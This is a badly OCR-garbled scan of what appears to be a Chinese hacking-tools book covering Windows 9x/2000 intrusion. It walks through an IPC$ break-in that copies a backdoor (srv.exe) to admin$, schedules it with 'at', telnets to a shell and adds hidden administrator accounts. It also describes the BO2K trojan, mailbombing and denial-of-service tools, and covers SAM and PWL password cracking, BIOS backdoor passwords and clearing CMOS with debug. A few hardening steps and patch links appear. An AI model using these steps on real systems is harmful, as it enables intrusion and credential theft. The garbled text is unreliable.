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Default Gateway
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DOS Windows 9x DOS Windows 2000 netstat — -n

1P Foreign Address “
" MS-DOS netstat -n

State ESTABLISHED
TIME_WAIT “ " ubP
“ ESTABLISHED” netstat -n “ "
“ TIME_WAIT” 218.22.244.134 1P
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IP
HTML
1P , URL
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1P Windows
ping.exe
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Packets: Sent = 4, Received = 4, Lost = 0 0% loss ,
Approximate round trip times in milli-seconds:
Minimum =120ms, Maximum =630ms, Average =187ms

XXX o XXX 2 XXX . XXX http://www.xxX.com 1P

1-1-11 ping

Microsoft Windows 2008 [Uersion 5.88.21951
7 B 1985-288@ Microsoft Corp.

C:>>ping www.newhua.com ————_————_—__—______———____—_

Pinging www.newhua.com [282.1082.29.164]1 with 32 bhytes of data:

Reply from 282.182.29.164: bytes=32 time=250ms TTL=113
Reply from 282 .162.29_.164: bytes=32 time=250ms TTL=113
Reply from 202.182.29.164: hytes=32 time=265ms TTL=113
Reply from 282 .162.29_.164: bytes=32 time=258ms TTL=113

IPing statistics for 202.182.29.164:

Packets: Sent = 4. Received = 4. Lost = B (8% loss).
lApproximate round trip times in milli-seconds:

Hinimum = 258mes, Maximum = 265mes, Average = 253ms
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ping 1P byte,time TTL
ping “ Request timed out”
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1-2-5
¥ =z
L
8
1P Finger
Telnet netstat
1P
2. SnadBoy’ s Revelation
SnadBoy’ s Revelation Windows 4wk Kk
FTP Gk ok ko ok ko http:7/7/7
download.pchome.net/utility/showpass/10147.html 1-2-6

1-2-6 SnadBoy’ s Revelation
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3. LOphtCrack 4.0 Ic4

LC4 Windows
Sam

Sam

http://

www.hackerxfiles.net/showsoft.asp?soft_id=72 Windows NT Windows 2000

LC4 1-2-7
from SAM file ” SAM

“

“

IMPORT ™ |* SAM Import

LC4
Begin Audit ”

Session ” “

ﬂ|@u@&mm1uu«wvmmtw

E S [ =l (6 [wmn =0 | weeE | EEEs

fJSTREAN  adninistrator 321456 x  3P1456 04 Ok Om 15 Dictiona

JGSTREMN Guest 123 x 123 04 0k Om 05 Dictiona

(FISTREAN  strean DEGAN % degan 0d Ok 5m 495 Brute Fox

(JSTREAN __vmware user_ 456789 x 456789 040k On Is  Dictiona

ﬁiﬁ
1] | |
Audit pansed.
1-2-7 LC4

v T
. SR BRI AR TR RS . TR AT,
L8 . o |
. . SR
6 W i W

0 x| FRIE SRR R
2 = | FRIERE AR R
[ ESETEED 22 O
BEEE R 1 ATIAEY » EAREEIA0 “Danaga”
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“ Nimda” © » «

1. Back Orifice 2000 BO2K

BO2K “ "(Cult Dead Cow)

BO2K

http://caohua.myetang.com/computer/computerdownload.html

Windows

Internet

BO2K 3
bo2k.exe
Windows 98 Windows NT
bo2kgui.exe B0O2K
BO2K
bo2kcfg.exe B0O2K
TCP/IP
BO2K
BO2K
BO2K Y BO2K bR A i x|
bo2kcfg.exe “ BO2K T RSB T fiR
IF: '\Downl0ads\p*bDZk\p*‘buEk\BUEUﬂD'\BUZK. EXE i
BE®|ES:  ME 1o i3
( ) (TCP UDP) #% || e |
o — e
“ T F | o2 | BE A
1-2-9 BO2K hboddes dll 1.0 1.0 BOZE Triple-[ES Module 4'
" M " sabo peep. dll 0.7 10 BOZK Remote Consele Mane bl
S BO2K.exe Jl -l
BT g
BO2K.EXE e
BO2K J FRERHE:
IS .
: :J(rgm e BEE
B0 Z000MRESMUHERE TR, WMIEATE €1 1999, FEFEFE [ tensoft]

1-2-9 BO2K
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ItE) WEE TEay Mmie Fhe

B ELEERS
B2k E [ |
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@ i iF Bl
oo cr/ze J = |G EIES

= Cns F

e
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1 TP/ o
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= | [iEmi TS [k [
B cc 10.0.13. 88 TCPIO: Back. .. XOR: BOZK ...
X
&, | o
S D nom 4
1-2-10 BO2K
“ " 70
( ) “ B
B0O2K
DOS
BO2K 70
2.
/ Internet
http://www.skycn.com/soft/
5923.html

“ n o n o

iparmor”

“

tcmonitor” " “ lockdown™ “ kill” “ "

gwg.exe 1-2-11
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E I #hict 1.53B B =loix]

AT | DR | HREE v | BN | BRI | SRR REWAR |Eai |

DIAGCFG. EXE
© |MSIESMTF. DLL

A HEHBAIRI
Rl &)

LRI W

LA R AR

Diagnostic Configuration

o

=y Y

FEH T RS iR
ESRL b
| |
1-2-11
QQ
« . Ip

| imAREAE | BREIE oot | BIOENL | RESH | THER | BEEEE | ek |

TalmXXe BH awad

%] PAGEFILE. 5Y5

100, BB3, 206

[ T 192189 11, 251:6267 Iita | =5 | B |
w-gd A Bl axe 148,932 RHSA
C: [Parcsetup. exe 162, G616 EHSA
L3 wImwT [ 4UTOEYEC. BAT 0 H
{:] Documents and Settings aboot. 6 192 HE
A2 Erogran Files lbootfont. bin 304,624 RHSA
'? Reggelsd |»]conFIe. 513 0 H
: |10, 515 0 RHSA
[]msD0s. sts 0 EHSA
[FwroETECT. COM 34,450 EHSA
antlar 221,072 RHSA
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BO2K

1.2.4
1 KaBoom!
KaBoom!
KaBoom!3._exe 1-2-13
Ahout
Mailing List=
1-2-13 KaBoom!
Mailbomber Mailbomber
1-2-14
[pebmaster@23nct |-
- _ @Hail Perpetua
[fmpzanet |-
hvou will die!l!
1-2-14 KaBoom!
2*3.net
To From Server
SMTP Subject
Message Body Number of Message ( )
Mail Perpetually , Stop cc Send
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100 100 KaBoom!

To From 100
200
2. IP hacker
IP Hacker Windows
Windows NT 3.51 4.0 00B Windows 98 98se
1GMP Windows NT - 11S 4.0 D.0.S Windows NT 3.51/4.0 FTP
Server IPhacker.exe 1-2-15

&8 IP Hacker V1.2 for Win32 - EIF~M% &4 k2., LI MISIES
RV IPHHE [218. 64, 128, 00 B HAIPHE [10.0.15. 16 -]

= SR E: HH->Vindows NT->00E
L Tools MPETTS: Windows NT 3.51/4. OBJ0OBIRIR
:ﬁ?ng: RREN. RHER. ToP/IPHRE, SR
s RaHE: FHERGE R Server Packt
infT
@ 0B
DL0.5 ;
= f%ﬁﬁﬁ
= FIP
JHEH: —#ETT133,/1 35k TR a)
& | #iEk =[RTEAMERS TEENREEN]=- HE &
1-2-15 IP hacker
1P
Windows
1.3.1. Ping
Ping ICMP ECHO_REQUEST

ping[-t][-a][-n count][-1 length][-f][-i ttl][-V tos][-r count][-s count][[-j computer -list]
|[-k computer-list]][-w timeout] /1P

-t “ Control C” Ping

-a NetBios

-n count count ECHO 4

-1 length length ECHO 32 65500
- f "
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-1 ttl TTL
-v tos
-r count
-s count count
-j computer-list

1P

-k computer-list

1P
-w timeout
Ping
1.3.2 NET
NET
dows 2000 Windows NT
NET /?

NET HELP COMMAND

1 NET VIEW

net view

computername

tos

" count

computer-list
9

computer-list
9

“ # Ping -f -s 65000 XXX.XXX.XXX.XXX"

“ request time out”

NET Windows 98 NET

NET NET HELP NET
NET COMMAND /?
Windows 2000

Windows NT NET

| /domain :domainname

net view

computername

/domain

YFANG

net view /domain:LOVE

net view

2 NET USER
net users
net user username password | * options /domain
net user
username
password
*
/domain

:domainname

YFANG

LOVE

Ping

Windows 98 Win-

Windows 2000 Windows NT NET

NET COMMAND /HELP

- 21



3 NET USE
net use devicename | * computernamesharename volume
user: domainname username /delete | /persistent:{yes | no}

net user yfang yfang

net use
devicename
computernamesharename
password
*
/user
domainname
username
/home
/delete

/persistent

net use e: YFANGTEMP  YFANGTEMP E

net

use e: YFANGTEMP /delete

4 NET TIME
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net time computername | /domain :name

computername

/domain :name

/set

Net Start

net start service

Net Pause

net pause service

Net Continue

net continue service

NET STOP

/set

password | *



net stop service

9 Net Statistics

net statistics workstation | server

net statistics
workstation

server

10 Net Share

net share sharename=drive:path  /users:number | /unlimited

net share
sharename
drive:path
/users:number
/unlimited

/remark:text
net share mylove=c:/temp /remark:my first share
mylove C:/temp

net share mylove /delete mylove

11 Net Session

/remark:text

net sessions net sess

net session computername /delete

net session

computername

/delete computername
net session YFANG YFANG
12 Net Send

net send {name | * | /domain :name | /users} message

name
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/domain :name
/users

message
net send /users server will shutdown in 5 minutes
13 Net Print
net print computername job#  /hold | /release | /delete
computername
sharename
job#
/hold job#
/release
/delete
net print YFANGSEEME YFANG SEEME
14 Net Name
net name name /add | /delete
net name
name
/add
/delete
15 Net Localgroup
net localgroup groupname {/add /comment:text | /delete}
net localgroup

groupname

/comment: text

/domain

name

/add

/delete
net localgroup love /add love
net localgroup love love

16 Net Group
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net group groupname {/add /comment:text | /delete} /domain

net group
groupname
/comment:text
/domain
username
/add
/delete
net group love yfangl yfang2 /add yfangl yfang2
17 Net File
net file id /close
net file
id
/close
18 Net Config

net config service options

net config
service net config (server workstation)
options
19 Net Computer
net computer computername {/add | /del}
computername
/add
/del
net computer cc /add cc

20 Net Accounts

net accounts /forcelogoff:{minutes | no} /minpwlen:length

unlimited} /minpwage:days /uniquepw:number /domain

love

/maxpwage:{days |
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net accounts
/forcelogoff:{minutes | no}
/minpwlen:length
/maxpwage:{days | unlimited}

/minpwage:days

/uniquepw:number number
/domain
/sync

net accounts /minpwlen:7 7

Windows 98 NET
WIN98 NET
dows NT NET TIME NET PRINT NET USE
Windows 2000 Windows NT

1 NET START
( DOS-WIN )
NET START  BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI
YES /VERBOSE

2 NET STOP
( DOS-WIN )

NET STOP  BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK

Windows 98 NET Windows 98
1 NET DIAG
MS DIAGNOSTICS DIAGNOSTIC

NET DIAGNOSTICS /NAMES | /STATUS
2 NET INIT
( DOS-WIN )

NET INITIALIZE /DYNAMIC

3 NET LOGOFF

( DOS-WIN )
4 NET LOGON
WORKGROUP ( DOS-WIN )
NET LOGON  user password | ? /DOMAIN:name /YES
5 NET PASSWORD
( DOS-WIN )

NET PASSWORD computer | /DOMAIN:name user oldpassword

- 26

| NWLINK

Windows 2000
NET VIEW

/YES

/SAVEPW:NO

newpassword

/LIST

Win-

/



IPCS$
hbx 123456 IP 127.0.0.1
net use \127.0.0.1 ipc$ "123456" /user:"hbx" IPC$
net use \127.0.0.1 ipc$ /delte
IPC$
nctry lovechina
net user nctry lovechina /add
Administrator
net localgroup Administrators nctry /add
o z
net use z:\127.0.0.1 c$
net start telnet TELNET
net user guest /active:yes Guest
Net
1.3.3 Ipconfig Win inlPcfg
1P Windows
1.3.4 Tracert
TTL Internet I1CMP

tracert[-d][-h maximum_hops][-J computer-list)[-w timeout]target_name

-d

-h maximum_hops

-j computer-list computer-list
-w timeout timeout

target_name
‘ tracert hostname” “ hostname”

Tracert 1P

1.3.5 telnet
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telnet 127.0.0.1 99 99

1.3.6 FTP
FTP FTP
daemon FTP
FTP FTP quit
Windows 2000 FTP FTP

FTP[-v][-n]1[-11[-d][-9g1[-s filename][-a][-w windowsize][computer]

-V

-n ftp

-1

-d FTP

-9

-S filename FTP FTP
>

-a

-w windowsize 4096

Computer 1P
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Windows

e Windows

e Windows

Windows Windows
Windows SANS
NIPC Windows
Windows Windows
2000 c2
a% Windows
‘?@ Windows
B 18viRdows
Windows Windows

Windows



Windows
Windows
2.1.2
Windows AP (D) Bt
|8 |@®s #= |
Windows [ ] §T@Q@§§ giﬁ&i#% Bt
C TSR @)
Windows O EZBIAEE E)
“ " HZE W IW'vI
sEC: PUES
- ) HAPYmE: & BEEP W
Windows NETBIOS Windows t“ﬁﬁmnr___* e
9X Windows 9X
E gl lﬁF@ﬂWﬁwﬁ& R )
Windows 2000 Windows NT Rf*%ﬂﬁﬁwgitw S “ARER”
EligsE -
NETBI0S e e [T
Windows 2000 Windows NT FaE @
2-1-1
Administrator wE || mM | mAw

2-1-1 Windows 2000

Windows 1S
1S
1E
MIME 1E4.0
Outlook
Scripting Host (WSH) VBScript
Windows
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mshtml.dll JAVA ActiveX
Outlook “ "
Windows
VB



Windows Windows
“?’5‘ Windows Windows
2.2.1 NetBIOS
1.
NetBIOS Network Basic Input Output System (API)
WINS Lmhost NetBIOS 1P
NetBIOS NetBIOS
NetBIOS
TCP/IP NetBIOS Windows
NetBIOS 139
Windows 2000
NetBIOS Windows 9x Windows 2000
2. NetBI0S
“’?’g‘
Shed
Shed Shed NetBIOS Windows
9x
Shed.exe 2-2-1 1P 1P
1P
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Windows 9x
Pgwak.exe
“ 123456"

2-2-5

Windows 9x

b e Iwangzha.nS

=5 [aie T

IPHii.i_IJ::I m . 0

13 .19

Pqwak

AE B |25|3 |123455

[EEE

2-2-5 PQwak
%quak.exe Windows 95 Windows
98 Windows 98 Windows Me
2-2-4 Windows 9x
PQwak
Windows 2000 Pqgwak
2.2.2 IPC$
Windows 2000
3
NetBI1OS NetBI1OS 139
“ | | | " “Microsoft ’
2-2-6 139 445

R Bt

B gz |
R R
qu Realtek RTLS139(A) PCI Fast Ethernat Adapter
feE C)
I A TR )
sEo.. | mgw | EERI

I %}C}}‘E'Eﬁﬁmm Microsoft FIZATHRIEROITEDL LR
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TCP/IP NetBI0S
“ | | | "
“ " “ Internet TCP/
1P | | |WINS” “ TCP/IP
NetB10S” 2-2-7
IPSec 139 445
* | | |
|1P ” 1P
TCP139 TCP445 IP IPSec
2-2-8
139 445
Server
“ | | | "
Server 2-2-9
11S
“ " Ip “ "
“ TCP” “139 139"
L L “ "
“ B “ Ip »
139 2-2-10
NetBIOS
server RIBLE(EMTTEHL) [Z]
B |z | wmErs | mEsE|
Bt omen = e
BEFET |SErvEr
5 @) [RE &ec 2R, L. A0 RmEEEES.
AT AR 00
F: AWIFRT\Sy=tem32\services. exa
B @ [EEA =l
IBgita:
e | mrm | =E@ s=g |
2 BRRERT . AT R B SR
=t )] |
T B | mAw |
2-2-9 Server
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% NetBI1OS
2.2.2 IPC$%

1. IPC$
Windows 2000

IPCS$
“ 1P
IPC$
IPC “ InterProcess Communications”
2. IPC$
Windows 2000
“ " IPC$

SQL SMTP IPCS$

View

IPC$

‘8 admin

IPC “ "

http://www.netxeyes.org/main.html

POP3 FTP HTTP PROXY FORM

Windows 9X Windows NT Windows 2000

2-2-11

HUEEH |

ER=E =
I (e

=& 192. 168, 11. 102
A% ==h

E
| B 1ecs E4 i

BB e
ML

EZi [ Rt

[ MErmls os-co DEES EEFE

Ara [= B8

= #

1

| |

———+— |01t | BE |ooofoso | FRODEREE |
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S CtrieR”
1P - HHsTEEl
NT/98 2-2-12 FEIAE:  |192.188.11.1
NT/98
1PCS SR [192. 168, 11,255
“ IPC$
1pCS R wee | FR=]
1P IPC$ ERERE [ #FrontPazeE ] BaNAMITPEALSIE
M SRS A e | REo | | BEo |
2-2-13
2-2-12
2-2-13
192.168.11.251 1P
Windows 2000 ‘cmd”
C:\ net use \\192.168.11.251\IPC$ /user:
192.168.11.251
IPC$
C:\ copy srv.exe \\192.168.11.251\admin$
Telnet Tools Srv.exe
Telnet 99 admin$
c:\winnt\system32 c$ d$ C D
C:\ net time \\192.168.11.251
192.168.11.251
200277719 11:00
C:\ at \\192.168.11.251 11:05 srv.exe
at srv.exe
ID = 0
C:\ net time \\192.168.11.251
192.168.11.251 2002/7/19 11:05
C:\ telnet 192.168.11.251 99
Telnet 99 Telnet 23 Srv.exe
99 Shell c:\winnt\system32
Telnet srv.exe Telnet
ntlm Tools
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C:\ copy ntlm.exe \\192.168.11.251\admin$

Copy ntim.exe telnet ntim.exe
C:\WINNT\system32 ntlm
C:\WINNT\system32 ntlm
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done!
C:\WINNT\system32 net start telnet
“ net start telnet” telnet “ Telnet " Telnet
Telnet 192.168.11.251
Telnet 23 DOS
@ \\IP \C$ D$,ES$ C D$,ES$
Administrator
3. IPC$
IPC$
IPC$
“ | " “ regedit” HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\LSA RestrictAnonymous 1 2-2-14
o =10]x
EER SEE EF0 UERE SRS ‘
i l:l GroupOrderList _:] SENFBE ﬁﬁl —g
(0 HaL BEEH W
(] hivelist T
R~ IDCmﬁd:)B frestrictanonymons
: % :
758 ()
, —l o )
E C| MeciaIrterFates | - I
# () MediaProperties L2 LS I
[+ 1] MedisResources ==
@[] Mediasets dig|restrictanonymous  SREG_DWO...  0x00000001 (1)
#- ] Netwark REG_DW... 0xD000000Y {1}
[# () NetworkProvider @]Sew:umf Packages  REG_MULT... kerberos msvl_0 schannel
- nis
1 NTMS X
o p L | 2
BB BEHKEY_LOCAL MACHINE\SYSTEM|CurrentControlSetiControliLsa P
2-2-14
Windows 2000 “ L L " “
2-2-15 3 “ SAM " IPC$
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MR RENENTEETET  EFH =AL
@mmummmm@ .. BEFE=H EFR
2-2-15 IPC$
(C$,D$ )
HKEY_LOCAL_MACHINENSYSTEM\CurrentControlSet \Services\LanmanServer\Parameters
AutoShareServer REG_DWORD 0
AutoShareWks REG_DWORD 0
net share ipc$ /delete 2l
net share admin$ /delete B |z | wmere | nEsE |
net share c$ /delete RE & lannanserver
net share d$ /delete e ,f BREm@:  [Ferver
i @ |$_Ef% RIC 35, i FIER R A EiE.
autodel .bat T AT HFREREE () :
i FI\WIm\SysteNSZ\servicas. i
. Baz® @ [ -
ipc$ server = EEi -
Server RPC o
ipcs gpe | mto | #mee | sz |
Server ipcs ‘ %) Btst BB » SRR EANEE.
L L " server
B ERIEE0) |
Server
wE | mH | mAw |
Server 2-2-16
2-2-16 Server

noou
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2.2.3 Windows 2000

1.
Windows 2000

Windows 2000

Windows 2000 Windows 2000

Windows 2000
3389 Windows 2000

Windows 2000
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winadin
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net.exe”

“ net.exe”

“ " “ " “ C:\winnt\system32\net.exe”

“ user guest active :yes” 2-2-26

mERE: £
EOARGE: [THED =l
WHE Q) |
EERD. | EEEo. |
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2-2-26 Guest
“ net user guest active:yes” Guest
“ user add” 2-2-27
ettt BBEE B
wH mams|nm | = |mm |@me |
m ERIEAE net
BESH AREF
BEFTE:  ayrtea®
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“ net user winadin /add” winadin
winadin “ " “ C:\winnt\system32\net.exe”
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XXXX XXXX

“ net user winadin xxxx” XXXX

winadin
winadin
net “ localgroup administra-
tors winadin /add” 2-2-28

“ net localgroup administrators

winadin /add” winadin administrators

BB ez
winadin i Y
E EEC

2-2-28
2-2-29
3.
Windows 2000
Windows 2000 SP2 http://
www.microsoft.com/china/msdownload/windows/default.asp Windows 2000
SP4 SP2 Windows 2000 SP2
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2.2.4 Windows 2000
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Windows 2000 ctrl Scroll Lock Win-
dows 2000 C:\WinNT
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(1 shelijes
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18] appmgrt
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SYSTEMAALT  system  systsmisav  Tempkey userdff

I tnes e e B T AT ()
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#800 java =H (] @ @ @ A
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3 e o A IEREHRRER €
& MUt SAM | o W ]
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3 rview ) i
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.
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4 BT EE . BAE—TRFEEERMN.
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2-2-35 SAM
SAM pwdump3 SAM
LOphtcrack
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SAM SAM SAM
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Windows NT/2000
SAM

Windows 98 Windows 2000 FAT

Windows FAT16 FAT32 NTFS4 NTFS5 Windows 98 Windows
9X FAT16 FAT32 Windows NT FAT16 NTFS4 Windows 2000/XP/2003
Windows 98 Windows 98 C \winnt\system32\config
SAM SAM Windows 2000
Windows 98 Windows 2000 SAM
Windows 2000
Windows 2000 “ Administrator”
Administrator Windows 2000
3. SAM
Windows NT/2000 2%
SAM SAM = |
SAM foun
_ SAM IredeR.  drfs
{5 eH: SAM
SAM s C: \WINHT  systen3Zhconfiz
SAM o 16.0 KB (16,384 FH)
B10S GAZE: 160 KB (18,384 )
BI10S BI10S fllEemriE . zooaE4B16H, 11:59:09
Windows E0IRTE . 200384 B23H, 8:01:08
2000 ihialetiEl: 200384 BzaA
Windows . FBRG ~ D
NT/2000 NTFS NTFS5
SAM 2-2-36 TE HoiK | FZF (4) |
DOS 2-2-36 SAM
% SAM c:\winnt\system32\config C
D SAM d:\winnt\system32\config
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2.2.6 RPC

1.
Remote Procedure Call RPC Windows
RPC TCP/IP RPC
RPC
RPC 135
139 445 RPC
2. RPC
2003 7 16 MS03-026 8 RPC
RPC
135 Windows
Windows
|RsE ZF |8
nav-center WULNERABLE
CHARAHR YULNERARLE
CA3A VULNERAELE
&
R | |
eEye Digital Security)  gagegmi| I 7
2-2-37 RPC
1P 1P 1P “ P M
“ VULNERABLE " RPC
|
RPC RPC RPC
RPC 135
RPC 2-2-38
DNS 11IS
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BEXAUET ¢ 00:00:56

e -
Banote Procedure Call (RPC) H%l\ \
SHELE o Vindows SOTENRRES) \
|
I - |
2-2-38 RPC
3. RPC
RPC
“ S i " Remote Procedure Call RPC
“ ? “ " Windows XP
Remote Procedure Call (RPC) ﬁlEﬁ(*ﬂi‘l’ﬂm . x| =10l x|
S D By mn mE |gExs| JRETE
a1 RS
=E T mrsme  [EFESIER =
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2-2-39
Windows XP 2-2-38
RPC
RPC

Windows 2000

2-2-39

“ shutdown

—a”

http://download.microsoft.com/download/2/8/1/281c0df6-772b-42b0-9125-6858b759€977/Windows2000-

KB823980-x86-CHS.exe
Windows XP

http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8d48-85e42de9d2c0/WindowsXP-
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KB823980-x86-CHS.exe
Windows 2000
http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8ad2-b4b9d42049d5/Windows2000-
KB823980-x86-ENU.exe
Windows XP
http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-aaee-b7a52a983f01/WindowsXP-
KB823980-x86-ENU.exe

Windows SP2 RPC

2.2.7

“ P n oo »

° Windows

° IE Internet

REGEDIT4
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Systenm

"DisableRegistryTool” =dword 00000000
“ reg” “ Ext” “ reg”
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« REGEDIT4" T
“ REGEDIT4”

Windows 98 “ REGEDIT4”
Windows 2000 Windows XP

“ Windows Registry Editor Version 5.00"

BN sbout:blank - Microsoft Internet Explorer
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2-2-40 IE
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REGEDIT4

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoDrives"=dword:00000000
REG C

Windows 98 “ REGEDIT4” “ REGEDIT4” R I
Windows 2000 Windows XP “ REGEDIT4”
“ Windows Registry Editor Version 5.00"

C:\
‘f@ Windows
QQ “TE " TE
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Winrar* " “
" RE G
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“cepl” 1E
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“ " “ " “ " 2-2-42
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C \WINDOWS\SYSTEM “ .scf”

Windows “ » “ H
2-2-43
5 Eit
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2-2-43

Windows 2000 Windows XP C:\Documents and Settings\Administrator\Application
Data\Microsoft\Internet Explorer\Quick Launch .scf
[ ]
REGEDIT4

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
" NoRun" =dword:00000000
“ reg” “ Ext” “ reg”

Windows 98 “ REGEDIT4” “ REGEDIT4” R I
( Windows 2000 Windows XP “ REGEDIT4”
“ Windows Registry Editor Version 5.00")
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o5
£
.
« Nk n « n “ shift”
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Windows 4 FAREERESR P
IHE HFEW FEEHE
4 | Config. sys | dutoexec. bat | Systen. ini | ¥in ind E |
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msinfo32.exe Win- ¥ netmen. exe o\ PROGRAN FIL
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s BUSlink USE SECURITY DEVICE Colnstaller JupitCo.exe
u« ” u« / ¥ ScanRegistry CAWINDOWS \sca
M TaskMoniter CONINDOWE  tas
Startup" ¥  LoadPowerProfile Fundl13Z2. exe ¢
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2-2-44 M SystenTray SysTray.Exe
[l LoadPowerProfile Rundl132.exe ¢
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“ " we | ww | mEw |

2-2-44

Windows 98 Windows XP Windows 2000
Windows XP Windows 2000

uninstall.exe

CTRL+C “ C:\WINDOWS\Start Menul\Programs\ " CTRL+V
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EXE
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2-2-45 0
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200M
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2.3.1 Windows 9x

PQwak 10K
2-3-1

PQwak v1.0 4L By ReDHackeR.cc

#8845 IwangzhanE

;Egzhmﬁiiﬁ

TRHiE | 0 191 ﬂl
E AT 'Ill (|u5455 D

[EEE

2-3-1 Pqwak
“1P” “ Share " “ Crack”

Pgwak Netpass

?%,HetPass crlT. 126, com

HBENE ¢ [Flegs

HETHE: [yt
IF Hibk: 00013 181

=h L CEELT

2-3-2 NetPass
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O
i
1P ”
i A TP S
|to.0. 13 191
FERERIE I
10.0.13. 191 BH8A:
A
e
[ ELTh.
2-3-3
2.3.2 Windows 9x *.PWL
o5
i
* . p w I *
) Windows
° Dial-up
° Web
o
1.
“ " Windows 9X
007 Write All Stored Passwords (WASP] .
Windows “x Pwl”
“ - - - " Overview Web only. Dial-Up only All others
C \Windows\Profiles\Profiles L I [ Anelyze |
. Password File
Curently loggedin user; zhang [} i
Password (PWL) File:  CAWINDOWS{ZHANGODT PWL
Windows 9X [Click the "Analyze" button to decrypt the password file (FWLfile)
[Flease note that this listing will contain (onhy) the stored passwords of the
currently logged on user (= youl). Futhermore it can of course only contain
[ ” Windows the passwords that are actually stored in the PWL file. Since the PWL file is
8 Microsoft invention. these are largely passwords used by Microsoft AboutWASP
iproducts. For example, your dial-up password(s) or passwords stored by
g 8 Intemet Explorer are located in this file_ Click on the ABOUT button for mora
Idetails.
007WASP
* pw 1 2-3-4 This software is FREEWARE and can be distributed. See license.bd for details

2-3-4  007WASP
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007WASP
Windows

(*.PWL)

“ Analyze Password File”

007WASP

%007 Write All Stored Passwords (WASP)

Windows (*.PUL)
2.
Windows9x C Windows *.pwl
C
FES
2.2.1 Shed e
Cptions  Help
NetBrute NetBrute | PotScan | wiebBrute |
Scanner Lol ~Fol Selting:
ZHL[10.012.162] S e
i B FEH1100 10.0.13.171] B
NetBrute Scanner Windows 61§08 L% [10013172] pon | [i3 retossen |
2 3 5 E@ STARZ00Z[10.013173]
e - B 5 A 4000 [10.013.174] o
- I KEE (10.0.13.175] 7
- flE BAEAT [10.013176) [ I
TD 10.0.13.177] 10 1} 13
R AL oy
C " Scan | Caneel |
WANGZHAN3 [10.0.13.190]
2.3.1 £ LPP —Result Option:
T £ WINAMP WINAM @ ANy [¥ HelRI0S Names
* ~@ TD " DISK ™ Show IPCs
¢ -pwl & B c PRT
= {8 WANGZHANS [10.012191] Single
g IISET:\INLDADS Computer/Host Mame il
L] WDMEEEEICHE |
C
“x pwl” o [ Repoit View Scan | @ GetlP |
IDone, |ADMINISTRATOR  [STREAM
Pwltools 2-3-5 NetBrute Scanner
Windows 9x 2-3-6
S, V.
File Tools Help
| PWLFie | [CYWINDOWS'ZHANGOO2 Pl Browse L peiad .
| Usetname || ZHaNGOOZ Glide

=
Password || 123456 = Mw]
Brute force | SmanForce | Dictionary |

Chasest sting Password length: From lﬁ] To: @
[12345678300WER TV UIOPASDFGHIKLZACVENM =

0:0:3781 _

5758880 plsec CheckPassFast || __ Cient/Server

P Shoud) | [ Zombie mode =
2-3-6 Pwltools
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Windows 9x Pwltools “ cached passwords”
WEB
“pwL file”
“ CheckPassword”

PWL PWL

PWL “ Browse” PWL
“ CheckPassword"”
PWL PWLtools “ Browse”

PWL “ SearchPassword”

Pwltools PWL

Demo

2.3.3 OE

OE

TR

SnadBoy’ s Revelation

TR

TR

|pop3. =ohu. com

Pl
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L R

Windows ¢ wawxxr Windows 95/98/ME/NT/2000/XP/2003
2.3.4 BIOS
BIOS
1
AwardB10S o

AWARD_SW j262 HLT SER SKY_FOX BIOSTAR ALFAROME lIkwpeter j256 AWARD?SW LKWPETER Syxz
alLLy 589589 589721 awkward wantgirl dirrid eBBB h996 wnatgirl CONCAT
AMIBIOS “ "
AMI BIOS PASSWORD HEWITTRAND AMI?SW AMI_SW LKWPETER A.M.I.

CMOS Security Option always

2 Debug
CMOS Security Option “ setup” CMOS
CMOS debug
BIOS
-070 21
-071 20
-quit
-0 70 2E
-0 710
-quit
-0 70 16
-0 71 16
-quit
-0 70 FF
-0 71 17
-quit
-0 70 10
-0 710
-quit
CMOS CMOS

Del CMOS SETUP
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3 NU  RESCUE

, BIOS
NU RESCUE CMOS CMOS
SETUP CMOS

PCTOOLS 9.0 BOOTSAFE CcMOS
CMOS
4 FlashBios
DOS Windows 9x “ |
‘ command” Windows 2000 “ cmd”
Flashbios [kind] [kind] 98/2000/xp/2003 2-3-8 Windows 2000
BI10S

D:“tool>*f lazshhios
iFlashBiDs Created By SystEn32 . 2883.9.208
Welcome to wvisdit http:/Awww. hackbhase.com

llsage: FlashBios [kind]
(C[kind] may he 782000 -xp 20083 example: flazhhios 2888 >

ID:“tool>flashhios 20088
1Bius FPassword Cleaned Sucessed?

D:=“toolx>

2-3-8 FlashBios

Flashbios 98 windows 98 bios
Flashbios 2000 windows 2000 bios
Flashbios xp windows Xxp bios
Flashbios 2003 windows 2003 bios
‘ Bios Password Cleaned Sucessed!” B10S
CMOS
FIashBios Windows 98/2000/xp/2003 bios bios
CMOSMENU Windows 98

Flashbios

CMOS Security Option “ system” “ Always”
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CMOS CMOS
CMOS
CMOS
CMOS CMOS

CMOS

CMOS CMOS CMOS
CMOS

2.3.5 Office

@ Office

Office Office
Office
ElcomSoft A097PR Advanced
Office XP Password Recovery
Office Word Excel Access

2-3-9

“ Open file” =
Office “ Type of Attack”

i 20031228 95328 Starling dicbanary altack...
200312:28 35328 High-parformance timet is present
2003122895328 Password successhully recovered |
20031228 953.28 '2586' 15 a valid password for this file

“ Start Recovery”

32003500 3800 3600

2-3-10 Advanced Office XP Password Recovery
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4
O0ffice Passware
Office Word Excel Access Zip
Passware Office Office Key
2-3-11
2-3-11 Passware Office Key
Office “Ctrl+0”
Passware “Ctrl+T”
2-3-12
2-3-12 Passware
2.3.6 ZIP

i\ office

gﬁ% Winzip
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Winzip : zip passvor 4 MultiConputer

Z 1P
Vzprp5.4 Visual Zip Password Recovery
Processor5.4

2-3-13
“ Password options”
“ Open zip/exe” =2 ZIP
“Go" M
2-3-13  Vzprp5.4
2-3-14

The password found

2-3-14 Vzprp5.4

Vzprp5.4 ZI1P

2.3.4 Passware Zip Key Zip

Office

. 64



2.3.7 Windows 2000

1.
Adump 2-3-15
D : ~tool*ADumpradunp —d
The logon information is:
llser Domain: [STREAMI
llser Hame: [lgz=1d1]
llser Password: [play25861.
D= ~tool~ADump>
2-3-15 Adump

Adump Windows 2000/NT

Adump - d

